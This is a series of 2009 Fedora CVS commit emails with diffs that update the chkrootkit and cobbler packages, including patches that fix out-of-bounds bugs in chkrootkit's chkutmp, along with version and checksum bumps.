+* Fri Oct 02 2009 Manuel "lonely wolf" Wolfshant <wolfy at fedoraproject.org> - 0.48-14
+- sync with rawhide. includes the following changes:
+    Wed Jul 22 2009 Jon Ciesla <limb at jcomserv.net> 0.48-13
+  - Additional items in chkutmp patch.
+    Tue Jul 21 2009 Jon Ciesla <limb at jcomserv.net> 0.48-12
+  - Patch to fix crash in chkutmp on x86_64.
+    Tue Feb 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.48-11
+  - update .desktop file for Icon Theme Specification
+  - Fedora > 10: conditional BR glibc-static as needed for strings-static
+    Fri May 30 2008 Michael Schwendt <mschwendt at fedoraproject.org> - 0.48-8
+  - Let chkproc default to procps version 3.
+
 * Wed Jul 23 2008 Manuel "lonely wolf" Wolfshant <wolfy at fedoraproject.org> - 0.48-8
 - fix license tag
 



From wolfy at fedoraproject.org  Fri Oct  2 20:38:06 2009
From: wolfy at fedoraproject.org (Manuel Wolfshant)
Date: Fri,  2 Oct 2009 20:38:06 +0000 (UTC)
Subject: rpms/chkrootkit/EL-5 .cvsignore,1.8,1.9 sources,1.8,1.9
Message-ID: <20091002203806.9308A11C00C1@cvs1.fedora.phx.redhat.com>

Author: wolfy

Update of /cvs/pkgs/rpms/chkrootkit/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23804

Modified Files:
	.cvsignore sources 
Log Message:
checking in the tarball



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chkrootkit/EL-5/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	23 Apr 2008 12:46:47 -0000	1.8
+++ .cvsignore	2 Oct 2009 20:38:06 -0000	1.9
@@ -1 +1 @@
-chkrootkit-0.48.tar.gz.sig
+chkrootkit-0.48.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chkrootkit/EL-5/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	23 Apr 2008 12:46:47 -0000	1.8
+++ sources	2 Oct 2009 20:38:06 -0000	1.9
@@ -1 +1 @@
-b98238251eda3c743c97e1d0ac8dd598  chkrootkit-0.48.tar.gz.sig
+de8b8b5013e7faa2b66c0e33c59677e8  chkrootkit-0.48.tar.gz



From wolfy at fedoraproject.org  Fri Oct  2 20:53:33 2009
From: wolfy at fedoraproject.org (Manuel Wolfshant)
Date: Fri,  2 Oct 2009 20:53:33 +0000 (UTC)
Subject: rpms/chkrootkit/EL-5 .cvsignore,1.9,1.10 sources,1.9,1.10
Message-ID: <20091002205333.C633511C00C1@cvs1.fedora.phx.redhat.com>

Author: wolfy

Update of /cvs/pkgs/rpms/chkrootkit/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29320

Modified Files:
	.cvsignore sources 
Log Message:
Include the signature of the source, as well



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chkrootkit/EL-5/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	2 Oct 2009 20:38:06 -0000	1.9
+++ .cvsignore	2 Oct 2009 20:53:32 -0000	1.10
@@ -1 +1,2 @@
 chkrootkit-0.48.tar.gz
+chkrootkit-0.48.tar.gz.sig


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chkrootkit/EL-5/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	2 Oct 2009 20:38:06 -0000	1.9
+++ sources	2 Oct 2009 20:53:33 -0000	1.10
@@ -1 +1,2 @@
 de8b8b5013e7faa2b66c0e33c59677e8  chkrootkit-0.48.tar.gz
+b98238251eda3c743c97e1d0ac8dd598  chkrootkit-0.48.tar.gz.sig



From wolfy at fedoraproject.org  Fri Oct  2 20:54:57 2009
From: wolfy at fedoraproject.org (Manuel Wolfshant)
Date: Fri,  2 Oct 2009 20:54:57 +0000 (UTC)
Subject: rpms/chkrootkit/EL-4 chkrootkit-0.48-chkproc-psver.patch, NONE,
	1.1 chkrootkit-0.48-chkutmp-outofbounds.patch, NONE,
	1.1 chkrootkit.spec, 1.12, 1.13
Message-ID: <20091002205457.7F58C11C00C1@cvs1.fedora.phx.redhat.com>

Author: wolfy

Update of /cvs/pkgs/rpms/chkrootkit/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31093

Modified Files:
	chkrootkit.spec 
Added Files:
	chkrootkit-0.48-chkproc-psver.patch 
	chkrootkit-0.48-chkutmp-outofbounds.patch 
Log Message:
sync with rawhide


chkrootkit-0.48-chkproc-psver.patch:
 chkproc.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE chkrootkit-0.48-chkproc-psver.patch ---
diff -Nur chkrootkit-0.48-orig/chkproc.c chkrootkit-0.48/chkproc.c
--- chkrootkit-0.48-orig/chkproc.c	2007-08-14 23:32:41.000000000 +0200
+++ chkrootkit-0.48/chkproc.c	2008-05-30 19:57:43.000000000 +0200
@@ -142,7 +142,7 @@
    psinfo_t psbuf;
 #endif
 
-   pv = verbose = 0; 
+   pv = 3; verbose = 0; 
 
    if (!proc)
    {

chkrootkit-0.48-chkutmp-outofbounds.patch:
 chkutmp.c |   16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

--- NEW FILE chkrootkit-0.48-chkutmp-outofbounds.patch ---
--- chkutmp.c~	2006-10-18 13:00:29.000000000 -0500
+++ chkutmp.c	2009-07-21 14:42:41.000000000 -0500
@@ -83 +83 @@
-    struct ps_line *endp = &psl_p[MAXBUF];
+    struct ps_line *endp = &psl_p[MAXBUF-1];
@@ -135 +135 @@
-    struct utmp_line *endp = &utl_p[MAXBUF];
+    struct utmp_line *endp = &utl_p[MAXBUF-1];
--- chkutmp.c~	2009-07-22 07:57:13.000000000 -0500
+++ chkutmp.c	2009-07-22 08:09:41.000000000 -0500
@@ -179 +179 @@
-    for (h = 0; h <= y; h++) {	/* loop through 'ps' data */
+    for (h = 0; h < y; h++) {	/* loop through 'ps' data */
@@ -181 +181 @@
-	for (i = 0; i <= z; i++) {	/* try and match the tty from 'ps' to one in utmp */
+	for (i = 0; i < z; i++) {	/* try and match the tty from 'ps' to one in utmp */
--- chkutmp.c~	2009-07-22 08:09:41.000000000 -0500
+++ chkutmp.c	2009-07-22 08:11:17.000000000 -0500
@@ -60,3 +60,3 @@
-    char ps_tty[UT_LINESIZE];
-    char ps_user[UT_NAMESIZE];
-    char ps_args[MAXLENGTH];
+    char ps_tty[UT_LINESIZE+2];
+    char ps_user[UT_NAMESIZE+2];
+    char ps_args[MAXLENGTH+2];
@@ -66 +66 @@
-    char ut_tty[UT_LINESIZE];
+    char ut_tty[UT_LINESIZE+2];


Index: chkrootkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chkrootkit/EL-4/chkrootkit.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- chkrootkit.spec	23 Jul 2008 09:12:39 -0000	1.12
+++ chkrootkit.spec	2 Oct 2009 20:54:57 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           chkrootkit
 Version:        0.48
-Release:        8%{?dist}
+Release:        14%{?dist}
 Summary:        Tool to locally check for signs of a rootkit
 Group:          Applications/System
 License:        BSD and GPLv2+ and Python
@@ -19,10 +19,17 @@ Patch4:         chkrootkit-0.47-warnings
 Patch6:         chkrootkit-0.47-chklastlog.patch
 Patch7:         chkrootkit-0.48-anomalies.patch
 Patch8:         chkrootkit-0.48-nophpcheck.patch
+Patch9:         chkrootkit-0.48-chkproc-psver.patch
+Patch10:	chkrootkit-0.48-chkutmp-outofbounds.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
 
+%if 0%{?fedora} > 10
+# as of glibc-2.9.90-7 in Rawhide
+BuildRequires:  glibc-static
+%endif
+
 Requires:       %{_bindir}/consolehelper
 
 %description
@@ -49,6 +56,8 @@ It contains:
 %patch6 -p1 -b .chklastlog
 %patch7 -p1 -b .anomalies
 %patch8 -p1 -b .nophpcheck
+%patch9 -p1 -b .chkproc-psver
+%patch10 -p0
 sed -i -e 's!\s\+ at strip.*!!g' Makefile
 
 
@@ -117,6 +126,18 @@ rm -rf ${RPM_BUILD_ROOT}
 
 
 %changelog
+* Fri Oct 02 2009 Manuel "lonely wolf" Wolfshant <wolfy at fedoraproject.org> - 0.48-14
+- sync with rawhide. includes the following changes:
+    Wed Jul 22 2009 Jon Ciesla <limb at jcomserv.net> 0.48-13
+  - Additional items in chkutmp patch.
+    Tue Jul 21 2009 Jon Ciesla <limb at jcomserv.net> 0.48-12
+  - Patch to fix crash in chkutmp on x86_64.
+    Tue Feb 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.48-11
+  - update .desktop file for Icon Theme Specification
+  - Fedora > 10: conditional BR glibc-static as needed for strings-static
+    Fri May 30 2008 Michael Schwendt <mschwendt at fedoraproject.org> - 0.48-8
+  - Let chkproc default to procps version 3.
+
 * Wed Jul 23 2008 Manuel "lonely wolf" Wolfshant <wolfy at fedoraproject.org> - 0.48-8
 - fix license tag
 



From mdehaan at fedoraproject.org  Fri Oct  2 20:59:48 2009
From: mdehaan at fedoraproject.org (Michael DeHaan)
Date: Fri,  2 Oct 2009 20:59:48 +0000 (UTC)
Subject: rpms/cobbler/EL-5 .cvsignore, 1.62, 1.63 cobbler.spec, 1.75,
	1.76 sources, 1.75, 1.76
Message-ID: <20091002205948.BFC6C11C00C1@cvs1.fedora.phx.redhat.com>

Author: mdehaan

Update of /cvs/extras/rpms/cobbler/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv436/EL-5

Modified Files:
	.cvsignore cobbler.spec sources 
Log Message:
This is Cobbler 2.0.1, which is 2.0+bugfixes so we can eventually push this to stable.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cobbler/EL-5/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	17 Sep 2009 16:54:09 -0000	1.62
+++ .cvsignore	2 Oct 2009 20:59:48 -0000	1.63
@@ -59,3 +59,4 @@ cobbler-1.6.4.tar.gz
 cobbler-1.6.5.tar.gz
 cobbler-1.6.6.tar.gz
 cobbler-2.0.0.tar.gz
+cobbler-2.0.1.tar.gz


Index: cobbler.spec
===================================================================
RCS file: /cvs/extras/rpms/cobbler/EL-5/cobbler.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- cobbler.spec	17 Sep 2009 16:54:09 -0000	1.75
+++ cobbler.spec	2 Oct 2009 20:59:48 -0000	1.76
@@ -6,7 +6,7 @@ Summary: Boot server configurator
 Name: cobbler
 License: GPLv2+
 AutoReq: no
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Source0: cobbler-%{version}.tar.gz
 Group: Applications/System
@@ -76,8 +76,7 @@ integrates with cobbler.  There is also 
 include importing distributions from DVDs and rsync 
 mirrors, kickstart templating, integrated yum 
 mirroring, and built-in DHCP/DNS Management.  Cobbler has 
-a Python and XMLRPC API for integration with other  
-applications.
+a XMLRPC API for integration with other applications.
 
 %prep
 %setup -q
@@ -292,7 +291,7 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %package -n koan
 
 Summary: Helper tool that performs cobbler orders on remote machines.
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: mkinitrd
@@ -339,7 +338,7 @@ of an existing system.  For use with a b
 %package -n cobbler-web
 
 Summary: Web interface for Cobbler
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: cobbler
@@ -368,9 +367,7 @@ Web interface for Cobbler that allows vi
 /usr/share/cobbler/web/*
 %dir /usr/share/cobbler/web/cobbler_web
 /usr/share/cobbler/web/cobbler_web/*
-#%dir /usr/share/cobbler/web/cobbler_web/templates
-#/usr/share/cobbler/web/cobbler_web/templates/*
-/etc/httpd/conf.d/cobbler_web.conf
+%config(noreplace) /etc/httpd/conf.d/cobbler_web.conf
 %dir /usr/share/cobbler/web/sessions
 %dir /var/www/cobbler_webui_content
 /var/www/cobbler_webui_content/*


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cobbler/EL-5/sources,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- sources	17 Sep 2009 16:54:09 -0000	1.75
+++ sources	2 Oct 2009 20:59:48 -0000	1.76
@@ -2,3 +2,4 @@
 524b6946549c2d75c0e8cafcbffecd34  cobbler-1.6.5.tar.gz
 2b7d2b92c1cfbf534b8e83b2a51cf739  cobbler-1.6.6.tar.gz
 5e7ac645a1a8fca384959966aed807c8  cobbler-2.0.0.tar.gz
+c07c857b1f91764d0ea78c2a5a184259  cobbler-2.0.1.tar.gz



From mdehaan at fedoraproject.org  Fri Oct  2 20:59:48 2009
From: mdehaan at fedoraproject.org (Michael DeHaan)
Date: Fri,  2 Oct 2009 20:59:48 +0000 (UTC)
Subject: rpms/cobbler/EL-4 .cvsignore, 1.58, 1.59 cobbler.spec, 1.73,
	1.74 sources, 1.72, 1.73
Message-ID: <20091002205948.9395911C00C1@cvs1.fedora.phx.redhat.com>

Author: mdehaan

Update of /cvs/extras/rpms/cobbler/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv436/EL-4

Modified Files:
	.cvsignore cobbler.spec sources 
Log Message:
This is Cobbler 2.0.1, which is 2.0+bugfixes so we can eventually push this to stable.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cobbler/EL-4/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	17 Sep 2009 16:54:08 -0000	1.58
+++ .cvsignore	2 Oct 2009 20:59:48 -0000	1.59
@@ -55,3 +55,4 @@ cobbler-1.6.4.tar.gz
 cobbler-1.6.5.tar.gz
 cobbler-1.6.6.tar.gz
 cobbler-2.0.0.tar.gz
+cobbler-2.0.1.tar.gz


Index: cobbler.spec
===================================================================
RCS file: /cvs/extras/rpms/cobbler/EL-4/cobbler.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- cobbler.spec	17 Sep 2009 16:54:08 -0000	1.73
+++ cobbler.spec	2 Oct 2009 20:59:48 -0000	1.74
@@ -6,7 +6,7 @@ Summary: Boot server configurator
 Name: cobbler
 License: GPLv2+
 AutoReq: no
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Source0: cobbler-%{version}.tar.gz
 Group: Applications/System
@@ -76,8 +76,7 @@ integrates with cobbler.  There is also 
 include importing distributions from DVDs and rsync 
 mirrors, kickstart templating, integrated yum 
 mirroring, and built-in DHCP/DNS Management.  Cobbler has 
-a Python and XMLRPC API for integration with other  
-applications.
+a XMLRPC API for integration with other applications.
 
 %prep
 %setup -q
@@ -292,7 +291,7 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %package -n koan
 
 Summary: Helper tool that performs cobbler orders on remote machines.
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: mkinitrd
@@ -339,7 +338,7 @@ of an existing system.  For use with a b
 %package -n cobbler-web
 
 Summary: Web interface for Cobbler
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: cobbler
@@ -368,9 +367,7 @@ Web interface for Cobbler that allows vi
 /usr/share/cobbler/web/*
 %dir /usr/share/cobbler/web/cobbler_web
 /usr/share/cobbler/web/cobbler_web/*
-#%dir /usr/share/cobbler/web/cobbler_web/templates
-#/usr/share/cobbler/web/cobbler_web/templates/*
-/etc/httpd/conf.d/cobbler_web.conf
+%config(noreplace) /etc/httpd/conf.d/cobbler_web.conf
 %dir /usr/share/cobbler/web/sessions
 %dir /var/www/cobbler_webui_content
 /var/www/cobbler_webui_content/*


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cobbler/EL-4/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	17 Sep 2009 16:54:08 -0000	1.72
+++ sources	2 Oct 2009 20:59:48 -0000	1.73
@@ -2,3 +2,4 @@
 524b6946549c2d75c0e8cafcbffecd34  cobbler-1.6.5.tar.gz
 2b7d2b92c1cfbf534b8e83b2a51cf739  cobbler-1.6.6.tar.gz
 5e7ac645a1a8fca384959966aed807c8  cobbler-2.0.0.tar.gz
+c07c857b1f91764d0ea78c2a5a184259  cobbler-2.0.1.tar.gz



From mdehaan at fedoraproject.org  Fri Oct  2 20:59:49 2009
From: mdehaan at fedoraproject.org (Michael DeHaan)
Date: Fri,  2 Oct 2009 20:59:49 +0000 (UTC)
Subject: rpms/cobbler/F-10 .cvsignore, 1.58, 1.59 cobbler.spec, 1.78,
	1.79 sources, 1.73, 1.74
Message-ID: <20091002205949.0610211C00C1@cvs1.fedora.phx.redhat.com>

Author: mdehaan

Update of /cvs/extras/rpms/cobbler/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv436/F-10

Modified Files:
	.cvsignore cobbler.spec sources 
Log Message:
This is Cobbler 2.0.1, which is 2.0+bugfixes so we can eventually push this to stable.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-10/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	17 Sep 2009 16:54:09 -0000	1.58
+++ .cvsignore	2 Oct 2009 20:59:48 -0000	1.59
@@ -55,3 +55,4 @@ cobbler-1.6.4.tar.gz
 cobbler-1.6.5.tar.gz
 cobbler-1.6.6.tar.gz
 cobbler-2.0.0.tar.gz
+cobbler-2.0.1.tar.gz


Index: cobbler.spec
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-10/cobbler.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- cobbler.spec	17 Sep 2009 16:54:09 -0000	1.78
+++ cobbler.spec	2 Oct 2009 20:59:48 -0000	1.79
@@ -6,7 +6,7 @@ Summary: Boot server configurator
 Name: cobbler
 License: GPLv2+
 AutoReq: no
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Source0: cobbler-%{version}.tar.gz
 Group: Applications/System
@@ -76,8 +76,7 @@ integrates with cobbler.  There is also 
 include importing distributions from DVDs and rsync 
 mirrors, kickstart templating, integrated yum 
 mirroring, and built-in DHCP/DNS Management.  Cobbler has 
-a Python and XMLRPC API for integration with other  
-applications.
+a XMLRPC API for integration with other applications.
 
 %prep
 %setup -q
@@ -292,7 +291,7 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %package -n koan
 
 Summary: Helper tool that performs cobbler orders on remote machines.
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: mkinitrd
@@ -339,7 +338,7 @@ of an existing system.  For use with a b
 %package -n cobbler-web
 
 Summary: Web interface for Cobbler
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: cobbler
@@ -368,9 +367,7 @@ Web interface for Cobbler that allows vi
 /usr/share/cobbler/web/*
 %dir /usr/share/cobbler/web/cobbler_web
 /usr/share/cobbler/web/cobbler_web/*
-#%dir /usr/share/cobbler/web/cobbler_web/templates
-#/usr/share/cobbler/web/cobbler_web/templates/*
-/etc/httpd/conf.d/cobbler_web.conf
+%config(noreplace) /etc/httpd/conf.d/cobbler_web.conf
 %dir /usr/share/cobbler/web/sessions
 %dir /var/www/cobbler_webui_content
 /var/www/cobbler_webui_content/*


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-10/sources,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- sources	17 Sep 2009 16:54:09 -0000	1.73
+++ sources	2 Oct 2009 20:59:48 -0000	1.74
@@ -2,3 +2,4 @@
 524b6946549c2d75c0e8cafcbffecd34  cobbler-1.6.5.tar.gz
 2b7d2b92c1cfbf534b8e83b2a51cf739  cobbler-1.6.6.tar.gz
 5e7ac645a1a8fca384959966aed807c8  cobbler-2.0.0.tar.gz
+c07c857b1f91764d0ea78c2a5a184259  cobbler-2.0.1.tar.gz



From mdehaan at fedoraproject.org  Fri Oct  2 20:59:49 2009
From: mdehaan at fedoraproject.org (Michael DeHaan)
Date: Fri,  2 Oct 2009 20:59:49 +0000 (UTC)
Subject: rpms/cobbler/F-11 .cvsignore, 1.57, 1.58 cobbler.spec, 1.83,
	1.84 sources, 1.72, 1.73
Message-ID: <20091002205949.3A41711C00C1@cvs1.fedora.phx.redhat.com>

Author: mdehaan

Update of /cvs/extras/rpms/cobbler/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv436/F-11

Modified Files:
	.cvsignore cobbler.spec sources 
Log Message:
This is Cobbler 2.0.1, which is 2.0+bugfixes so we can eventually push this to stable.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-11/.cvsignore,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- .cvsignore	17 Sep 2009 16:54:09 -0000	1.57
+++ .cvsignore	2 Oct 2009 20:59:49 -0000	1.58
@@ -54,3 +54,4 @@ cobbler-1.6.4.tar.gz
 cobbler-1.6.5.tar.gz
 cobbler-1.6.6.tar.gz
 cobbler-2.0.0.tar.gz
+cobbler-2.0.1.tar.gz


Index: cobbler.spec
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-11/cobbler.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- cobbler.spec	17 Sep 2009 16:54:10 -0000	1.83
+++ cobbler.spec	2 Oct 2009 20:59:49 -0000	1.84
@@ -6,7 +6,7 @@ Summary: Boot server configurator
 Name: cobbler
 License: GPLv2+
 AutoReq: no
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Source0: cobbler-%{version}.tar.gz
 Group: Applications/System
@@ -76,8 +76,7 @@ integrates with cobbler.  There is also 
 include importing distributions from DVDs and rsync 
 mirrors, kickstart templating, integrated yum 
 mirroring, and built-in DHCP/DNS Management.  Cobbler has 
-a Python and XMLRPC API for integration with other  
-applications.
+a XMLRPC API for integration with other applications.
 
 %prep
 %setup -q
@@ -292,7 +291,7 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %package -n koan
 
 Summary: Helper tool that performs cobbler orders on remote machines.
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: mkinitrd
@@ -339,7 +338,7 @@ of an existing system.  For use with a b
 %package -n cobbler-web
 
 Summary: Web interface for Cobbler
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: cobbler
@@ -368,9 +367,7 @@ Web interface for Cobbler that allows vi
 /usr/share/cobbler/web/*
 %dir /usr/share/cobbler/web/cobbler_web
 /usr/share/cobbler/web/cobbler_web/*
-#%dir /usr/share/cobbler/web/cobbler_web/templates
-#/usr/share/cobbler/web/cobbler_web/templates/*
-/etc/httpd/conf.d/cobbler_web.conf
+%config(noreplace) /etc/httpd/conf.d/cobbler_web.conf
 %dir /usr/share/cobbler/web/sessions
 %dir /var/www/cobbler_webui_content
 /var/www/cobbler_webui_content/*


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-11/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	17 Sep 2009 16:54:10 -0000	1.72
+++ sources	2 Oct 2009 20:59:49 -0000	1.73
@@ -2,3 +2,4 @@
 524b6946549c2d75c0e8cafcbffecd34  cobbler-1.6.5.tar.gz
 2b7d2b92c1cfbf534b8e83b2a51cf739  cobbler-1.6.6.tar.gz
 5e7ac645a1a8fca384959966aed807c8  cobbler-2.0.0.tar.gz
+c07c857b1f91764d0ea78c2a5a184259  cobbler-2.0.1.tar.gz



From mdehaan at fedoraproject.org  Fri Oct  2 20:59:49 2009
From: mdehaan at fedoraproject.org (Michael DeHaan)
Date: Fri,  2 Oct 2009 20:59:49 +0000 (UTC)
Subject: rpms/cobbler/devel .cvsignore, 1.58, 1.59 cobbler.spec, 1.87,
	1.88 sources, 1.74, 1.75
Message-ID: <20091002205949.A371011C00C1@cvs1.fedora.phx.redhat.com>

Author: mdehaan

Update of /cvs/extras/rpms/cobbler/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv436/devel

Modified Files:
	.cvsignore cobbler.spec sources 
Log Message:
This is Cobbler 2.0.1, which is 2.0+bugfixes so we can eventually push this to stable.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cobbler/devel/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	17 Sep 2009 16:54:10 -0000	1.58
+++ .cvsignore	2 Oct 2009 20:59:49 -0000	1.59
@@ -55,3 +55,4 @@ cobbler-1.6.4.tar.gz
 cobbler-1.6.5.tar.gz
 cobbler-1.6.6.tar.gz
 cobbler-2.0.0.tar.gz
+cobbler-2.0.1.tar.gz


Index: cobbler.spec
===================================================================
RCS file: /cvs/extras/rpms/cobbler/devel/cobbler.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- cobbler.spec	17 Sep 2009 16:54:10 -0000	1.87
+++ cobbler.spec	2 Oct 2009 20:59:49 -0000	1.88
@@ -6,7 +6,7 @@ Summary: Boot server configurator
 Name: cobbler
 License: GPLv2+
 AutoReq: no
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Source0: cobbler-%{version}.tar.gz
 Group: Applications/System
@@ -76,8 +76,7 @@ integrates with cobbler.  There is also 
 include importing distributions from DVDs and rsync 
 mirrors, kickstart templating, integrated yum 
 mirroring, and built-in DHCP/DNS Management.  Cobbler has 
-a Python and XMLRPC API for integration with other  
-applications.
+a XMLRPC API for integration with other applications.
 
 %prep
 %setup -q
@@ -292,7 +291,7 @@ test "x$RPM_BUILD_ROOT" != "x" && rm -rf
 %package -n koan
 
 Summary: Helper tool that performs cobbler orders on remote machines.
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: mkinitrd
@@ -339,7 +338,7 @@ of an existing system.  For use with a b
 %package -n cobbler-web
 
 Summary: Web interface for Cobbler
-Version: 2.0.0
+Version: 2.0.1
 Release: 1%{?dist}
 Group: Applications/System
 Requires: cobbler
@@ -368,9 +367,7 @@ Web interface for Cobbler that allows vi
 /usr/share/cobbler/web/*
 %dir /usr/share/cobbler/web/cobbler_web
 /usr/share/cobbler/web/cobbler_web/*
-#%dir /usr/share/cobbler/web/cobbler_web/templates
-#/usr/share/cobbler/web/cobbler_web/templates/*
-/etc/httpd/conf.d/cobbler_web.conf
+%config(noreplace) /etc/httpd/conf.d/cobbler_web.conf
 %dir /usr/share/cobbler/web/sessions
 %dir /var/www/cobbler_webui_content
 /var/www/cobbler_webui_content/*


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cobbler/devel/sources,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sources	17 Sep 2009 16:54:10 -0000	1.74
+++ sources	2 Oct 2009 20:59:49 -0000	1.75
@@ -1,2 +1,3 @@
 2b7d2b92c1cfbf534b8e83b2a51cf739  cobbler-1.6.6.tar.gz
 5e7ac645a1a8fca384959966aed807c8  cobbler-2.0.0.tar.gz
+c07c857b1f91764d0ea78c2a5a184259  cobbler-2.0.1.tar.gz



From mdehaan at fedoraproject.org  Fri Oct  2 20:59:49 2009
From: mdehaan at fedoraproject.org (Michael DeHaan)
Date: Fri,  2 Oct 2009 20:59:49 +0000 (UTC)
Subject: rpms/cobbler/F-8 .cvsignore, 1.49, 1.50 cobbler.spec, 1.58,
	1.59 sources, 1.59, 1.60
Message-ID: <20091002205949.6F4E411C00C1@cvs1.fedora.phx.redhat.com>

Author: mdehaan

Update of /cvs/extras/rpms/cobbler/F-8
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv436/F-8

Modified Files:
	.cvsignore cobbler.spec sources 
Log Message:
This is Cobbler 2.0.1, which is 2.0+bugfixes so we can eventually push this to stable.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-8/.cvsignore,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- .cvsignore	20 Apr 2009 18:10:28 -0000	1.49
+++ .cvsignore	2 Oct 2009 20:59:49 -0000	1.50
@@ -46,3 +46,4 @@ cobbler-1.2.8.tar.gz
 cobbler-1.2.9.tar.gz
 cobbler-1.4.0.tar.gz
 cobbler-1.6.3.tar.gz
+cobbler-2.0.1.tar.gz


Index: cobbler.spec
===================================================================
RCS file: /cvs/extras/rpms/cobbler/F-8/cobbler.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- cobbler.spec	20 Apr 2009 18:10:28 -0000	1.58
+++ cobbler.spec	2 Oct 2009 20:59:49 -0000	1.59
@@ -1,19 +1,16 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+
 %define _binaries_in_noarch_packages_terminate_build 0
+%global debug_package %{nil}
 Summary: Boot server configurator
 Name: cobbler
+License: GPLv2+
 AutoReq: no
-Version: 1.7.0
+Version: 2.0.1
 Release: 1%{?dist}
-ExclusiveArch: %{ix86} x86_64 ppc ppc64 s390x
-Source0: %{name}-%{version}.tar.gz
